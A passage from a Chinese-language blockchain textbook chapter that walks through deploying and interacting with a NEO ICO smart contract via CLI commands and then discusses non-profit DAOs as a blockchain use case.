                 Description: Basic ICO contract 
                 Needs Storage: True 
                 Needs Dynamic Invoke: False 
{ 
    "hash": "0xce4a9966dfd3c7c02b48646a6aac281e4c914c2d", 
     ... 
} 

deploy操作只能由我们已经配置的代币所有者执行:

testinvoke 0xce4a9966dfd3c7c02b48646a6aac281e4c914c2d 
 deploy [] 

一旦deploy方法被调用,ICO 就被认为是活动的。totalSupplycirculation等方法可以被任何参与者调用:

testinvoke 0xce4a9966dfd3c7c02b48646a6aac281e4c914c2d 
 circulation [] 

这些方法将返回供应的总代币数量(1000 万)和最初分配给所有者的总代币数量(250 万),如配置文件中配置的那样。

在这个 ICO 模板中,代币所有者必须通过注册来添加想参与众筹的参与者:

testinvoke 0xce4a9966dfd3c7c02b48646a6aac281e4c914c2d 
 crowdsale_register ["AXoZMHm7bxCF5oCkudRjJerJy5AvuRDxp2"] 

注册参与者可以通过附加 NEO 或 GAS 来参与众筹,从而铸造 ICO 代币:

testinvoke 0xce4a9966dfd3c7c02b48646a6aac281e4c914c2d 
 mintTokens --attach-neo=50 

新创建的代币必须导入到钱包中以反映所创建的代币:

import token 0xce4a9966dfd3c7c02b48646a6aac281e4c914c2d 

wallet命令将在钱包中反映新创建的PCKT代币:

Wallet { 
  "addresses": [ 
    { 
      ... 
      "balances": { 
      "0xc56f33fc6ecfcd0c225c4ab356fee59390af8560be0e930faebe74a6
 daff7c9b": "99993495.0", 
      "0x602c79718b16e442de58778e148d0b1084e3b2dffd5de6b7b16cee
 7969282de7": "14033.9996" 
      }, 
      "tokens": [ 
        "[ce4a9966dfd3c7c02b48646a6aac281e4c914c2d] PCKT : 
 2000.00000000" 
      ] 
    } 
  ], 
  ... 
  "synced_balances": [ 
    "[NEO]: 99993495.0 ", 
    "[NEOGas]: 14033.9996 ", 
    "[PCKT]: 2000 " 
  ], 
... 
} 

然后新创建的PCKT代币可以执行任何 NEP5 方法,比如transferallowance

在以太坊创建 ICO 将遵循类似的步骤。

可以在www.ethereum.org/crowdsale找到使用以太坊的样本众筹智能合约实现。

有几个加密资产发行平台可以帮助创建和管理所有 ICO 操作,而无需手动创建和部署智能合约。一些例子包括 CoinLaunch、Coinfactory 和 MyContract,它们是进行 ICO 的最受欢迎的平台之一。

非营利自治组织

非营利组织是在不寻求盈利的情况下提供商品和服务的机构。这些组织由志愿者为特定事业服务,一些主要的例子包括慈善机构、非政府组织NGO)或者任何自愿组织。尽管这些组织大多由志愿者运作,但每个组织都由自主机构控制。

由自治组织运营的非营利项目有很多限制,而且可能并不总是免于腐败。然而,它们确实倾向于给决策过程带来很大的中心化,这可能导致很多争议。同样,通过引入区块链技术来消除组织中的任何中间人,自治组织可以实现去中心化。在这样的组织中,去中心化为它们带来了巨大的好处,因为非营利组织不应完全归任何权威所有。

非营利自治组织的痛点

正如讨论的那样,由自治组织管理的非营利项目给组织的运营带来很大的中心化。在管理志愿者项目的组织中可以观察到几个痛点:

  • 组织运营不透明

  • 决策权的中心化可能导致组织中只有少数人参与决策。

  • 与外部组织的沟通不足

自治组织中缺乏透明度和权力的集中化可能会阻止非盈利组织的支持者了解项目的进展或参与决策。这可能导致组织内部腐败,从而导致竞选管理失败。通过创建去中心化自治组织DAO),您可以实现透明度,并在社区成员之间分配权力。

区块链作为解决方案

去中心化自治组织是防止这类机构腐败的最佳方式。 DAO 可以借助区块链技术在不可信实体之间构建。在这种情况下,非盈利组织应该是透明的,并提供分散治理。基于区块链的 DAO 可以通过维护公共账本来实现这一点,从而保证透明度和去中心化。

非盈利 DAO 将具有以下属性:

  • 组织所有交易的透明度。

  • 通过消除任何中间人进行自我治理。

  • 由股东控制。项目的支持者可以参与决策。

  • 对 DAO 规则的修改必须得到社区的批准。

  • 所有非盈利 DAO 的属性都符合区块链决策树的条件,这使得 DAO 成为区块链的理想用例。

非盈利 DAO 的区块链实现

一个非盈利的 DAO 是通过维护一个由网络中的不可信实体管理的公共账本来实现的。任何愿意为项目做出贡献或监控项目的人都可以加入 DAO,同时,DAO 的规则由社区决定,而不是自治组织。组织的所有规则都写在智能合约中,并部署到区块链上。对规则的任何修改都必须得到整个社区的同意。

可以使用 DAO 来实现非盈利、非政府组织或政府福利项目,以确保过程的完全透明性。

摘要

在本章中,我们详细分析了一些区块链用例,并看到它们如何适合使用区块链技术进行实现。我们还成功选择了诸如供应链溯源、支付系统、众筹和 DAO 等用例。

通过阅读本章,我们探讨了在选择适合其实施的正确区块链技术之前如何处理和分析用例。本章还帮助融合了我们在本书中探讨的所有主题的精华,并快速决定了其用例的实施。

现在我们已经完成了探索区块链技术基础的最终章节,我们应该有动力成为不断发展和引人入胜的区块链技术世界的一部分。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值